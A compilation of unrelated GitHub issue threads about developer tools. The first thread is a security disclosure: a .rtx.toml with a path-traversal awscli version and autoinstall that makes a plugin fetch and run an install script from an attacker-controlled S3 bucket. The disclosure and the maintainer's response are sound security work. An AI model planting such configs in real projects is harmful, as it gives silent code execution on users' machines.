Make missing_runtime_behavior a global only settings

Unfortunately, I have realized that requiring [plugins] to be trusted as in #728 is likely not enough. Since rtx by default comes with a large set of asdf community plugin definitions, any bug in these plugins can be used to do the same as what's shown in #728. For example, I just randomly picked something I heard of from the first few entries of rtx p ls-remote and found a bug:
[tools]
awscli = ["1/../../riatre-test-s3-bucket/quite-strange"]

[settings]
missing_runtime_behavior = "autoinstall"

Upon on entering the directory with such a .rtx.toml, MetricMike/asdf-awscli downloads https://s3.amazonaws.com/aws-cli/awscli-bundle-1/../../riatre-test-s3-bucket/quite-strange.zip with curl and due to how curl and S3 path style works it normalizes the URI and downloads https://s3.amazonaws.com/riatre-test-s3-bucket/quite-strange.zip which is a bucket I control. It then extracts and executes awscli-bundle/install in the zip file, which does id > /tmp/uh-oh
(Note that the example zip file does not contains bin/aws, hence it prints the following error, but you can see that /tmp/uh-oh was created)
asdf-awscli: Expected /home/riatre/.local/share/rtx/installs/awscli/1/../../riatre-test-s3-bucket/quite-st
range/bin/aws to be executable.
asdf-awscli: An error ocurred while installing awscli 1/../../riatre-test-s3-bucket/quite-strange.
rtx<EMAIL_ADDRESS>[ERROR] /home/riatr ✗ 1s rtx ~/.local/share/rtx/plu
gins/awscli/bin/install exited with non-zero status: exit code 1

I can get the bug in asdf-awscli fixed, and to be clear, I think it is fair to call asdf-awscli (and trigger its bug) if I run rtx install in the directory with such a .rtx.toml, but it doesn't feel right to let a .rtx.toml override the missing_runtime_behavior to make it completely automatic. In the case of extracting a tarball I don't even have the chance to inspect a .rtx.toml before it is executed.

thanks for doing some of the work around analyzing this behavior, it's important. And I apologize for the delay here.
Notably (though I'm not sure when I did this), I unofficially "deprecated" missing_runtime_behavior and removed all mentions of it from the docs. This was mostly a UX change since I found that using the --yes CLI flag was a cleaner way of doing this that more directly did what the user wanted. Long-term, I would like to remove missing_runtime_behavior from the codebase since it definitely makes things more complex than needed.
That said, your question is still valid since you can also just do this:
[tools]
awscli = ["1/../../riatre-test-s3-bucket/quite-strange"]

[settings]
yes = true

Maybe that setting should just be removed actually.


Version specs in peerDependencies are not bumped when publishing TypeScript packages

Apparently, during the automatic versions bump for the v0.0.16 release, for dependency monorepo packages, the versions specified in peerDependencies section were left intact, while the dependencies and the devDependencies were updated correctly.
This results in package.json haviing peerDependencies out-of-sync in and after the release. In some cases this leaves version specs in peerDependencies incompatible, which introduces resolution issues for install.
Could be a missing feature in lerna, see https://github.com/lerna/lerna/issues/2402
Migrating away from lerna could solve this, see https://github.com/vaadin/fusion/issues/172

We could first fix the bug in the script, so that it updates the version of peer dependeices. Then we can migrate away from lerna in the future.


Please support IntelliJ IDEA 2016.2 EAP (162.74.16)

IntelliJ IDEA 2016.2 EAP
Build #IU-162.74.16, built on May 13, 2016
IntelliJ IDEA EAP User
Expiration date: June 12, 2016
JRE: 1.8.0_92-b14 x86_64
JVM: Java HotSpot(TM) 64-Bit Server VM by Oracle Corporation
Thank you.

+1

Now up to build #IU-162.1024.1.

+1

+1

Edit until-build="175.999999" on /META-INF/plugin.xml file inside the .jar file and save.
Working here so far.
Or just download here: gitflow-plugin-updated.zip

+1
@Xplouder   your file doesn't work for me

I'm on this! Sorry for the delay everyone I was abroad

@OpherV ...thanks mate

Hello. I have PhpStorm 2016.2
Build #PS-162.1121.38, built on July 12, 2016
JRE: 1.8.0_76-release-b216 x86_64
JVM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
I'm getting error with version 0.4.8. PhpStorm won't open project at all I'm only able to disable plugin again.

@OpherV can you please help me? Thanks

@martincollar Does this happen for every project? For new ones as well?
Can you paste the full stack trace?

@OpherV Im not able to create new project or open existing if this plugin is enabled...
Can you please help me how to find it? Im on Mac..

Here is log from point of enabling plugin and restart.. Than app stops on Welcome screen  where is selection of project instead of opening last one..
log.txt
Here is log from point when i tried to Open some files from Welcome screen
log2.txt

is there any chance that this will be resolved? Reinstall with local data removal didnt help.

@martincollar I took another look at your logs but I'm afraid I have no idea why your installation of Idea will not load the plugin. Googling around makes me suspect something about the Java version Idea runs on - but it might not be the case. Can you try to open an Issue for Jetbrains support and give me the URL? Maybe with their assistance we can figure this out and solve it for you...


Implement utf8mb4_0900_bin collation

What problem does this PR solve?
Issue Number: close #8015
Problem Summary:
Add the support of utf8mb4_0900_bin collation to the TiFlash. It's simply an alias of the existing binary collation without padding. Ref https://github.com/pingcap/tidb/pull/46269
Check List
Tests

[x] Unit test
[ ] Integration test
[ ] Manual test (add detailed scripts or steps below)
[ ] No code

Release note
Support the `utf8mb4_0900_bin` collation.

/run-all-tests


knowledge

The topics about enzymes are quite interesting, I read your article and it's very good, do you have any books about enzymes that can help me understand these terms? Or any sources that can help me understand additives on enzyme activity. As a pure IT student, I don't have any knowledge about biochemistry but I'm quite interested in AI in Medicine so I want to learn more. Thank you

You can read a biochemistry textbook for enzyme biochemistry, e.g., Biochemistry by L. Stryer. It is not necessary to read the whole book. The first few chapters are okay. Also check this fantastic repository to inform yourself about cheminformatics.  About additives, I don't have any special references, you can read what I cited in the introduction of my paper.

The topics about enzymes are quite interesting, I read your article and it's very good, do you have any books about enzymes that can help me understand these terms? Or any sources that can help me understand additives on enzyme activity. As a pure IT student, I don't have any knowledge about biochemistry but I'm quite interested in AI in Medicine so I want to learn more. Thank you

You can read a biochemistry textbook for enzyme biochemistry, e.g., Biochemistry by L. Stryer. It is not necessary to read the whole book. The first few chapters are okay. Also check this fantastic repository to inform yourself about cheminformatics.  About additives, I don't have any special references, you can read what I cited in the introduction of my paper.

The topics about enzymes are quite interesting, I read your article and it's very good, do you have any books about enzymes that can help me understand these terms? Or any sources that can help me understand additives on enzyme activity. As a pure IT student, I don't have any knowledge about biochemistry but I'm quite interested in AI in Medicine so I want to learn more. Thank you

You can read a biochemistry textbook for enzyme biochemistry, e.g., Biochemistry by L. Stryer. It is not necessary to read the whole book. The first few chapters are okay. Also check this fantastic repository to inform yourself about cheminformatics. About additives, I don't have any special references, you can read what I cited in the introduction of my paper.

Thanks for the useful information


Not assignable to type 'Promise

ts-node --type-check ./examples/simple-usage/index.ts

/Users/jas/.config/yarn/global/node_modules/ts-node/src/index.ts:327
        throw new TSError(formatDiagnostics(diagnosticList, cwd, ts, lineOffset))
              ^
TSError: ⨯ Unable to compile TypeScript
examples/simple-usage/index.ts (18,17): Argument of type '{ schema: GraphQLSchema; graphiql: true; }' is not assignable to parameter of type 'Options'.
  Type '{ schema: GraphQLSchema; graphiql: true; }' is not assignable to type 'Promise<OptionsData>'.
    Property 'then' is missing in type '{ schema: GraphQLSchema; graphiql: true; }'. (2345)
    at getOutput (/Users/jas/.config/yarn/global/node_modules/ts-node/src/index.ts:327:15)
    at Object.compile (/Users/jas/.config/yarn/global/node_modules/ts-node/src/index.ts:513:11)
    at Module.m._compile (/Users/jas/.config/yarn/global/node_modules/ts-node/src/index.ts:400:43)
    at Module._extensions..js (module.js:660:10)
    at Object.require.extensions.(anonymous function) [as .ts] (/Users/jas/.config/yarn/global/node_modules/ts-node/src/index.ts:403:12)
    at Module.load (module.js:561:32)
    at tryModuleLoad (module.js:501:12)
    at Function.Module._load (module.js:493:3)
    at Function.Module.runMain (module.js:690:10)
    at Object.<anonymous> (/Users/jas/.config/yarn/global/node_modules/ts-node/src/bin.ts:141:12)

@19majkel94

I think that's related to #58.
Try to run npm dedupe or reinstall node_modules.
PS D:\Projekty\type-graphql> npx ts-node --type-check ./examples/simple-usage/index.ts
D:\Projekty\type-graphql\node_modules\ts-node\dist\bin.js
Running a GraphQL API server at localhost:4000/graphql

It worked now after using npm install  rather then yarn.
Even while using npm still not able to use generated executable schema with graphql-yoga.
Also chk out https://github.com/apollographql/graphql-subscriptions/issues/100
Argument of type '{ schema: GraphQLSchema; }' is not assignable to parameter of type 'Props'.
  Types of property 'schema' are incompatible.
    Type 'GraphQLSchema' is not assignable to type 'GraphQLSchema | undefined'.
      Type 'GraphQLSchema' is not assignable to type 'GraphQLSchema'. Two different types with this name exist, but they are unrelated.
        Types of property 'getQueryType' are incompatible.
          Type '() => void | GraphQLObjectType' is not assignable to type '() => void | GraphQLObjectType'. Two different types with this name exist, but they are unrelated.
            Type 'void | GraphQLObjectType' is not assignable to type 'void | GraphQLObjectType'. Two different types with this name exist, but they are unrelated.
              Type 'GraphQLObjectType' is not assignable to type 'void | GraphQLObjectType'.
                Type 'GraphQLObjectType' is not assignable to type 'GraphQLObjectType'. Two different types with this name exist, but they are unrelated.
                  Types of property 'isTypeOf' are incompatible.
                    Type 'void | GraphQLIsTypeOfFn<any, any>' is not assignable to type 'void | GraphQLIsTypeOfFn<any, any>'. Two different types with this name exist, but they are unrelated.
                      Type 'GraphQLIsTypeOfFn<any, any>' is not assignable to type 'void | GraphQLIsTypeOfFn<any, any>'.
                        Type 'GraphQLIsTypeOfFn<any, any>' is not assignable to type 'GraphQLIsTypeOfFn<any, any>'. Two different types with this name exist, but they are unrelated.
                          Types of parameters 'info' and 'info' are incompatible.
                            Type 'GraphQLResolveInfo' is not assignable to type 'GraphQLResolveInfo'. Two different types with this name exist, but they are unrelated.
                              Property 'cacheControl' is missing in type 'GraphQLResolveInfo'.

The problem is here:
https://github.com/graphcool/graphql-yoga/blob/master/package.json#L39
They have types as the dependency, so there's a conflict since I can't upgrade them due to #58.

When i use yarn the nested dependancy is resolved to be<EMAIL_ADDRESS>from<EMAIL_ADDRESS>yarn list @types/graphql                                               0.80   ✘   20:12    11.04.18
yarn list v1.5.1
warning Filtering by arguments is deprecated. Please use the pattern option instead.
├─<EMAIL_ADDRESS>│  └─<EMAIL_ADDRESS>└─<EMAIL_ADDRESS>✨  Done in 1.12s.

Thx

<EMAIL_ADDRESS>has "@types/graphql": "*" in package.json. So as TypeGraphQL uses 0.12.7 you might need to run npm dedupe to get rid of this conflict. I'm not familiar with yarn algorithm of package duplication and tree flattening.
BTW, I've updated the @types/graphql and switched all examples to graphql-yoga, you can try this now 😉

After update to<EMAIL_ADDRESS>issue is resolved and even no problem with yarn as effect of that. Kudos on using graphql-yoga.
Thx


Add an auto-generated cast table to the docs.

The table shows all the possible casts for the built-in scalars.

Victor, can you add a screenshot of how this will look like in the docs?

I'll need to probably apply some styling to this to make it look sane, because the table is large. Vertical text for the top row should help keep things a bit nicer.

I'll need to probably apply some styling to this to make it look sane, because the table is large. Vertical text for the top row should help keep things a bit nicer.

That will be complicated. I suggest to generate a rst file with simple text/bullet list, that you can include (there should be a directive for that and if it doesn't work we can make it work)

I have uploaded a screenshot with a table and vertical text for top row. The corresponding changes to the edgedb-ui are very small (https://github.com/edgedb/ui/pull/316).
For an overall view of casts a table is better than many lists I think. Although maybe we can add a cast list at the end of each individual scalar page.

How does it look on mobile?

Also It's not clear what 'impl' means.

"impl" - in addition to explicit and assignment cast, will be cast
automatically when used in a context requiring the target type

Is a bit hard to parse, please add an example with e.g. in ...
I'd drop the legend under the table and just have a bullet list explaining what's what right above it.

How does it look on mobile?

This is what iPhone 6/7/8 looks like in chrome:

iPhone X:

iPad:

I've added more explicit descriptions of types of casts and provided examples for them.

The cast table has been trimmed to play nice with smaller screens (see https://github.com/edgedb/ui/pull/316).

Thanks Victor!


Any plan tp support multi-modal input data?

Multi-model data means each data instance has multiple forms of information.  Auto-Keras has already supported this feature. Is any plan to support this feature? Thanks!
refer to https://autokeras.com/tutorial/multi/

@marsggbo
We do not have a plan to support this feature yet.

related to #2529

@scarlett2018  because #2529 had been closed as completed, so this issue could be closed as well?


black is failing in tests

Problem
As mentioned on Discord
Run black --check .
Traceback (most recent call last):
  File "/opt/hostedtoolcache/Python/3.8.12/x64/bin/black", line 8, in <module>
    sys.exit(patched_main())
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/black/__init__.py", line 6606, in patched_main
    patch_click()
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/black/__init__.py", line 6595, in patch_click
    from click import _unicodefun  # type: ignore
ImportError: cannot import name '_unicodefun' from 'click' (/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/click/__init__.py)

Documenting this to either pick up myself or for someone else to grab it before me.
Solution
TBD

#134


Add Demo06, convert ConsoleApp to a DotNet Core App, still with ServiceStack

This issue closed with Commit 848ffaf7 on branch develop. Demo06 is ASP.NET Core V3.0P4 with SS hosted in an IIS-Integrated Kestrel web server. Demo07 is ASP.NET Core V3.0P4 with SS hosted in a standalone Kestrel web server host.


Cleaned up and updated dependencies

Updated gradle to latest
Removed pom.xml as we are not likely to use it anymore at this point
Updated some dependencies
Removed some integration style tests in the unit test suite
Cleaned up checkstyle

Coverage decreased (-0.8%) to 90.67% when pulling 94af8f52a9ccd350a282d3b256003f71185a39de on cleanup_deps into 66492945df0f15aeb93d22e50ec3888f27d70566 on master.


Request: add multiple sites to the filter

Hi.
Here are two sites translating stack (respectively in french and spanish):

progaide.com
iteramos.com

Note that "progaide" was marked "domain down" in #227 but as of today, the site is up on my side.
Evidence: https://prograide.com/pregunta/49633/confusion-sur-le-systeme-personnalise-emacs
Evidence: https://www.iteramos.com/pregunta/56255/confuso-acerca-de-emacs-sistema-personalizado
Original: https://stackoverflow.com/questions/12058717/confusing-about-the-emacs-custom-system

Thanks a lot!


Update local deploy script: upgrade jdk toolchain and open macOS CI

What do these changes do?

update the deploy script
open the macOS ci
since the macOS vm of github runner has some issues to run demo of GraphScope, we add a partial demo test test_on_macOS for mac. Open the full demo test if macOS vm becomes normal.

Related issue number
#565
#781

The ci is passed. Any comments ?


Testing #5495 with this scenario - merging polish-merge-status into branch-list-context-menu

Testing #5495 with this scenario - merging polish-merge-status into branch-list-context-menu
$ git rev-parse polish-merge-status
361f587830413e05b7299d9f9932cff36aee0127
$ git rev-parse branch-list-context-menu
cbdb0f78739d21193d42eb0f87aa0cded6e505b9

If you don't have these branches, just git checkout [sha] -b [branch-name] to create them locally.
I checkout polish-merge-status and compare it to branch-list-context-menu and I see that we'll have some conflicts.

5 conflicts? Sure, that's not too scary. I continue on and I review the conflicts:

6 conflicts. Wait, what?
The clue I have so far is related to the diff for app/src/ui/branches/branch-list-item.tsx which has conflict markers that contain the ref as well as the file path it came from:

The other files in this list don't have this path - they just have the ref:

This suggests that git merge-tree isn't a full replacement for git merge, but I need to dig deeper into this and see what our options are.
Originally posted by @shiftkey in https://github.com/desktop/desktop/issues/5568

Please provide detailed error log and CLI command.


Slack Build Failure notification not working

Here is my issue:
I do not see any notification when my build fails.
Its a freestyle Jenkins project.
I do get  slack notification for build start.
I am using Master  and worker  configuration with Docker.
is it possible that slack is not getting notifications from worker ?

Is it possible you have some post-build actions that are failing before the notification goes out? I have seen that cause the notifications to not trigger.

hmm, my post build notifications are working ..

any solution to that? I have same problem with success notifications appearing and failure missing.

You basically need to change the order, ie send notifications first and then do any other actions after.


Bug in your code causes unnecessary waste in storing state_dict weights

In your MODNet class, you should not set self.backbone if backbone is not used anywhere else in that class. You pass the backbone to LRBranch and LRBranch set self.backbone again. So the same mobilenet backbone is referred twice in two different model. When you save state_dict, the weights will be copied twice! If you inspect your state_dict you will find out.
Rather, you should just create the backbone in MODNet class and pass it to LRBranch, no need to set self.backbone in the MODNet class to avoid this issue.

Hi, thanks for your suggestion.
We will indicate this in the next update.
However, since some steps are required to prepare a new pre-trained model, we plan to retain the existing code for future research.

You don't need to retrain! Just modify the code, and manually change the state_dict (Load the state dict, edit it like a regular python dictionary to match with the new names, and save it again).
Or even simpler. Remove the self.backbone reference from MODNet class. Load it using load_state_dict(state_dict, strict=False). Setting strict=False will allow pytorch to ignore state_dict items that don't match, and then save the state_dict again.

@PeterL1n
Yep. Thanks.
However, we also need to prepare the model for ONNX


Asking question and sharing answer with other tasks

Q
A

Issue Type
Question

Deployer Version
6.2.0

Local Machine OS
Mac OS

Remote Machine OS
N/A

Hi, I am trying to write a step that asks the user if they would like to re-compile local sources. If they select yes, then it'll run compile task, however if they choose no it will just copy from a previous release. My thinking was to do something like the following -
// ask if we are compiling resources
task('compile_resources', function () {
    $compile_resources = ask('Would you like to compile resources [y|Y|Yes]?');
    $compile_resources = in_array(strtolower($compile_resources), ['y', 'Y', 'Yes']);
    set('compile_resources', $compile_resources);
})->local();
before('deploy', 'compile_resources');

Then on the actual deployment task -
// Build our assets locally
task('npm:build', function () {
    if (get('compile_resources')) {
        // compile our assets
        writeLn("Compiling assets locally for {{stage}}. This can take a while...\n");
        runLocally('npm run prod -s');
    } else {
        // ToDo: copy our code from a previous release
    }
})->desc('Compile npm files locally');
after('deploy:shared', 'npm:build');

The problem I am having is I can't seem to find a way of getting the compile_resources attribute within another task. Is there a way of doing this?
Thanks,
Chris.

things you set with set() are avaiable with get().
you used input()->get(), not sure why?

Thanks @staabm, you're completely right and I've updated my question to reflect that. I was trying a few different things and that was the last scenario I had. I've managed to come up with a fix. I was using the ->local() method - I didn't realise that variables weren't shared across environments in that case.
I've now got the following -
//check if we are compiling resources
task('compile_resources', function () {
    $compile_resources = ask('Would you like to compile resources [y|yes]?');
    $compile_resources = in_array(strtolower($compile_resources), ['y', 'yes']);
    set('compile_resources', $compile_resources);
});
before('deploy', 'compile_resources');

// Build our assets locally
task('npm:build', function () {

    if (get('compile_resources') || !test('[ -d {{previous_release}}/public ]')) {

        // compile resources locally
        writeLn("Compiling assets locally for {{stage}}. This can take a while...");
        runLocally('npm run prod -s');

    } else {

        // load our compiled assets from a previous release
        writeLn('Copying public directory from previous release');
        if (test('[ -d {{previous_release}}/public ]')) {
            run('cp -R {{previous_release}}/public {{release_path}}');
        }
    }
})->desc('Compile npm files locally');
after('deploy:shared', 'npm:build');

This works just as I'd hoped and will hopefully be useful to someone else :)


DragUI.SetContentFromSoftwareBitmap() does not show the bitmap

When setting the drag bitmap in the DragStarting event handler, the bitmap is not displayed.
To set the bitmap, I use args.DragUI.SetContentFromSoftwareBitmap(...)
Steps to reproduce the bug

Add an event handler to a DragStarting event
Create a software bitmap
Set the bitmap using DragUI.SetContentFromSoftwareBitmap()
The bitmap does not show up.

Expected behavior
The bitmap should be visible
Version Info
NuGet package version:
Microsoft.ProjectReunion 0.5.0-prerelease

Windows 10 version
Saw the problem?

May 2020 Update (19041)
Yes

I observe the same problem with args.DragUI().SetContentFromBitmapImage(bitmap). I also do not see the image. When just calling args.DragUI() a paper sheet is shown.

This issue could be related to #4545 as I indeed see the bitmap icon if #4545 works on a platform reliable.

I believe @jschwizer99 is correct that this is the same as #4545. The comment I just added to that one:

We just debugged this issue last week. This is unfortunately a bug in Windows specific to non-UWP apps. It isn't clear right now if we can fix this in WinUI3. On the plus side, this has been fixed in Windows, and is available in current Dev Channel builds from the Windows Insider Program.

In theory it is possible to avoid the issue if you can avoid any awaits (and taking a deferral) in your DragStarting handler. But that likely isn't reasonable for most uses to already have the bitmap ready.

@codendone Will the window fix also be applied to older Windows versions? WinUI Desktop is supposed to work on older Windows versions as well.

Backporting will be considered, but I can't guess whether it will be considered, or how far it might be backported.

ProjectReunion 0.8.0-preview regresses even more. Even the default drag UI bitmap never shows up. This was working 1 out of 5 times in Reunion 0.5.7.  Overriding the bitmap still does not work.
And I still get random crashes while dragging: 0xC000027B: An application-internal exception has occurred

The OS fix for this issue went live on Windows Update over the last month, so fully updated machines should no longer experience this issue.

The problem is easily triggered when I use StartDragAsync .
I'm confused by "This is unfortunately a bug in Windows specific to non-UWP apps" because I don't have this problem on other UI frameworks (like Google Chrome)
I would like to know if there is any workaround for this issue currently in older versions?

@codendone this seems to still be happening on windows 11 so it seems that the OS fix from a few years ago wasn't enough?


AzureCommunicationCalling 2.6.0-beta.1

https://apiview.dev/Assemblies/Review/994dc64224614433a2685a0a75e184c0

@tjprescott Thanks for the comments. We would address them in the next beta release or when we promote the features to GA.  In that case can we proceed with this BETA release?


Update Themeforest Themes

We have a few ThemeForest WordPress themes on Humanities Commons that are out-of-date:
15zine
Users: 15
License Price: $59
Page: https://themeforest.net/item/15zine-hd-magazine-newspaper-wordpress-theme/10802918
CharityHub
Users: 1
License Price: $59
Page: https://themeforest.net/item/charity-hub-charity-nonprofit-fundraising-wp/7481543
Education
Users: 5
License Price: $69
Page: https://themeforest.net/item/education-wordpress-theme-education-wp/14058034
SimpleMag
Users: 16
License Price: $39
Page: https://themeforest.net/item/simplemag-magazine-theme-for-creative-stuff/4923427
SimpleMag in particular is causing an issue (see: https://app.zenhub.com/workspaces/humanities-commons-61143609f268f000196abf18/issues/mesh-research/commons/153 ).

[x] Get a list of which sites are using these themes currently
[ ] Decide which themes to pay for updates (email Kathleen and Brian)
[ ] Update themes

Theme usage spreadsheet

[ ] Pay for 15zine and simplemag themes.
[ ] Move existing Education users to alternatives
[ ] Deactivate / remove Education theme


Feat/discord integtest

feat: added cloudwatch logfile for discord message for report-exit
feat: added cloudwatch logfile and two separate discord message channels for pass/fail

Example of screenshot of log links which have been tested to work.


feat: vitest deps.experimentalOptimizer (fixes #111)

Fixes #111
To be validated by @sheremet-va

Is „refresh“ the option that injects react refresh into HTML? Can it only be configured by the plugin itself?

It's the option that enabled specific AST transformation for fast refresh (React HMR).
Then if this transformation is enabled and the output actually contains something React Refresh specific, we wrap the module with the import of the runtime code (which requires the transfromIndexHTML to run, which is not the case here)
My idea is to disable the HMR specific transform when running inside Vitest, and I wondering if process.env.TEST is a good check

I wondering if process.env.TEST is a good check

If you only want to target Vitest, you can use process.env.VITEST, but we also set process.env.TEST, so it will work in Vitest.

Then if this transformation is enabled and the output actually contains something React Refresh specific, we wrap the module with the import of the runtime code (which requires the transfromIndexHTML to run, which is not the case here)

Interesting. I've been wondering how to disable this on our side in @vitejs/plugin-react which I assume uses the same mechanism. 🤔

The two plugins are independent but have the mechanism. I will update the react one just after.
I will go with process.env.TEST because this condition is more related to testing in general than juts Vitest (the problem did not surface before because of the ssr flag is on wihtout the optimizer)


@RunWith annotation on Android fails on 1.3.1

From<EMAIL_ADDRESS>on February 08, 2010 10:52:27
What steps will reproduce the problem? 1. Create a simple HelloWorld Android app.
2. Create a junit test with @RunWith(PowerMockRunner.class) annotation.
That alone causes an initializationError. don't implement any tests. 3. What is the expected output? What do you see instead? Expected output is a working test.
Not it fails with the following exception:
Java.lang.RuntimeException: Stub!
at junit.runner.Version.id(Version.java:5)
at
org.powermock.modules.junit4.PowerMockRunner.getJUnitVersion(PowerMockRunner.java:32)
at
org.powermock.modules.junit4.PowerMockRunner.(PowerMockRunner.java:27) What version of the product are you using? On what operating system? Works with PowerMock 1.2.5
Broken on PowerMock 1.3.1
Os: Ubuntu 9.10
Linux a23059700-laptop 2.6.31-19-generic #56-Ubuntu SMP Thu Jan 28 01:26:53
UTC 2010 i686 GNU/Linux
Android 1.6_r2 SDK jar.
Maven android plugin:
com.jayway.maven.plugins.android.generation2:maven-android-plugin
2.2.3 Please provide any additional information below.
Original issue: http://code.google.com/p/powermock/issues/detail?id=232

From<EMAIL_ADDRESS>on February 08, 2010 03:34:54
How about 1.3.5?

From<EMAIL_ADDRESS>on February 08, 2010 06:16:09
Will probably not work either. What JUnit version are you using? Seems really strange
that version id returns "Stub!".

From<EMAIL_ADDRESS>on February 08, 2010 06:21:09
It is because it is Android.
It is the JUnit shipped with Android 1.6_r2.
I can dig into the problem and provide a maven project with two profiles and the
android jar you will need to deploy on your local maven repository.
Just wanted to make sure the problem was logged before forgetting about it.

From<EMAIL_ADDRESS>on February 08, 2010 06:30:56
Ok I wasn't aware that they stubbed out JUnit as well(?). You need a real JUnit
implementation in order to use PowerMock, it cannot be executed with a stubbed version
of JUnit. So presumely you need to have a real JUnit version that have precedence over
the Android version in classpath. How ever I find it strange that version 1.2.5 works
though, or could it be that the version id is stubbed in the Androind jar but other
than that it's still a functional JUnit? That would explain why it's still works in
1.2.5 because checking the JUnit version was made in 1.3 to allow for JUnit rules.

From<EMAIL_ADDRESS>on February 08, 2010 06:47:15
Could be so. It is not run on the phone. Could be that I am doing something wrong so
when testing the junit in the Android jar is used instead of my maven dependency jar?
Attaching a simple project as zip (packaged with jar)
mvn test -Pbroken (default 1.3.1 powermock version)
mvn test -Pworking (1.2.5 powermock version)
Attachment: HelloAndroid.zip

From<EMAIL_ADDRESS>on February 08, 2010 06:49:08
Yes, that was the case.
If I move the android.jar dependency after the JUnit dependency in the pom it works.

From<EMAIL_ADDRESS>on February 08, 2010 11:06:08
Ah that's really good to know. Thanks for the description. If this comes up again I'll
write a FAQ entry about it.
Status: WontFix


Upgrade AWS Java SDK Libraries to Latest

Need to upgrade, to take advantage of latest features and bug fixes.

implemented in https://github.com/NASA-AMMOS/common-workflow-service/pull/6


Dependency free version (breaking changes)

Hey appreciate the work you have done with this pkg. This PR does a few things:

Removes external dependencies (only requires standard package).
Removes vendor (not necessary due to no deps).
Adds a simple test.
Makes the Audio & Duration types available for use.

I mainly did this for my own needs. If you do not like the changes that is cool, I will continue using my own fork.
The reason for a Draft PR is due to the untested nature. I figured I'd see if you agreed with any of the changes first before moving forward.
Thanks

Closing due to inactivity. My changes will reside at https://github.com/tmathews/windows-toast


Use DbExtension to manage database for tests to improve performance

This PR aims to reduce the time taken to run unit and integration tests.
It introduces a JPA extension (DbExtension) that performs the following optimisations:

Run Flyway migrations once at the start of the test run
Store data seeded into the database at the start of the test run
Truncate all tables and reinsert seeded data before each test to ensure the database is in a known state

It also improves the performance of PostGIS on ARM64 machines (such as newer Macs) by providing Docker Compose configurations using a community PostGIS image that run natively, rather than emulating AMD64, bringing the time taken to run the tests in line with the CI pipeline. The test_database and development_database scripts will automatically use these configurations on an ARM64 environment.

@brownbearsoftware @tahb @pezholio I've managed to get some extra time shaved off on my machine by using a community PostGIS image, which I've added to this PR as an extra commit. There are some potential security implications of using an unofficial image, but I believe these would only be used locally. Is this an acceptable risk?

@danlivings-dxw That seems like a fair enough trade-off given the fact that it’s only local 👍🏻

Happy to use the community postgis image locally for faster feedback however for high parity I think we should continue to have CI test against the image we deploy with. Given that is running at 15 minutes that seems relatively acceptable.
I think we can also dry up these docker-compose files so that we that changes to shared resources can be made in one place. I think we can create a docker-compose.arm64.yml file with just ammendments and then use docker-compose to handle the merging with docker compose -f docker-compose.test.yml -f docker-compose.test.arm64.yml up


Fetch error: 404 Not Found Instantiating

Hello,
After integrating the plugin, I get the following error message on Grafana:
"Fetch error: 404 Not Found Instantiating http://localhost:3000/public/app/plugins/datasource/dist/module Loading app/plugins/datasource/dist/module"
Have tried every version of Grafana and the plugins but always the same. Does anyone happen to know what could be causing this?

Please try again with the current stable version of grafana and the main branch of this git repository.
How exactly do you install the plugin? Are there any errors in the grafana log? You should at least see a line like that:
logger=plugin.manager t=2022-04-19T07:47:10.06+0000 lvl=info msg="Plugin registered" pluginId=tribe-29-checkmk-datasource


tests: Disable GinkoWriter when using k8s reporter

What this PR does / why we need it:
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
Release note:
None

/uncc @kbidarkar @rnetser

/test pull-kubevirt-e2e-kind-1.22-sriov


Fix(Android): Fixed issues with toBeVisible()

Description

This pull request addresses the issue described here: #4500

In this pull request, I have created a workaround for View.getGlobalVisibleRect issue in RN

For features/enhancements:

[ ] I have added/updated the relevant references in the documentation files.

For API changes:

[ ] I have made the necessary changes in the types index file.

Hey @gosha212
I believe it caused my tests in keyboard-controller to fail 🙈
I've tried to update detox to the latest version, but I think this PR caused one of my test to fail constantly. I'm getting:
 Waiting for element by id: autofill_contacts
  origin: at kit/helpers/awaitable/index.ts:11:13
16:55:36.704 detox[87902] i child-process:EXEC_CMD "/usr/local/lib/android/sdk/platform-tools/adb" -s emulator-5554 shell du /sdcard/165425470_3.mp4
16:55:36.782 detox[87902] i child-process:EXEC_CMD "/usr/local/lib/android/sdk/platform-tools/adb" -s emulator-5554 shell "rm  \"/sdcard/165425470_3.mp4\""
16:55:46.622 detox[87902] i ws-client:APP_STATUS The app seems to be idle
16:55:56.627 detox[87902] i ws-client:APP_STATUS The app seems to be idle
16:56:06.631 detox[87902] i ws-client:APP_STATUS The app seems to be idle
16:56:06.650 detox[87902] i child-process:EXEC_CMD "/usr/local/lib/android/sdk/platform-tools/adb" -s emulator-5554 shell "screencap /sdcard/165425470_6.png"
16:56:06.907 detox[87902] i child-process:EXEC_CMD "/usr/local/lib/android/sdk/platform-tools/adb" -s emulator-5554 shell "screencap /sdcard/165425470_7.png"
16:56:06.914 detox[87902] i child-process:SPAWN_END /usr/local/lib/android/sdk/platform-tools/adb -s emulator-5554 shell screenrecord /sdcard/165425470_5.mp4 terminated with SIGINT
16:56:07.105 detox[87902] i lifecycle `KeyboardToolbar` specification: should show bottom sheet when `AutoFill Contacts` is pressed [FAIL]
16:56:07.106 detox[87902] i lifecycle `KeyboardToolbar` specification: should set focus back when modal closed

Let me know which additional information you need to reproduce/fix this problem - I'll be happy to co-operate here!
Reproduction can be found at https://github.com/kirillzyusko/react-native-keyboard-controller - you just need to use latest version in e2e folder.

Hi @kirillzyusko
I've started the investigation. I will keep you updated. Thanks for the info

Thank you for the update @gosha212!

Can you please point me to the failing test and how to reproduce it? Which command should I run?
I run test-example:android-31 and some of the tests are failing on the master on my machine

@gosha212 I found you on Discord - let's keep conversation there? I believe it'll be more productive 🤞


Explanation of the overall steps for creating a new UDF

Explanation of the overall steps for creating a new UDF

to Preview the docs

UDF使用介绍单独作为一篇文档放在这里


Executables very slow on Debian 12?

I am testing the Fibonacci code. As an example I am finding the 41st number.
fibo.zip
node fibo.js returns pretty quickly, but ./fibo.out after
nectar fibo.js -o fibo.out
takes noticeably long to return.
This is entirely different what's supposed to happen based on the benchmarks in the repository.
Is something broken?

OTOH, the loop at:
https://github.com/NerdLang/nerd/issues/68
runs about 7x faster with nectar than node.

Other test code at e.g.:
https://github.com/drujensen/fib
time node fib.js
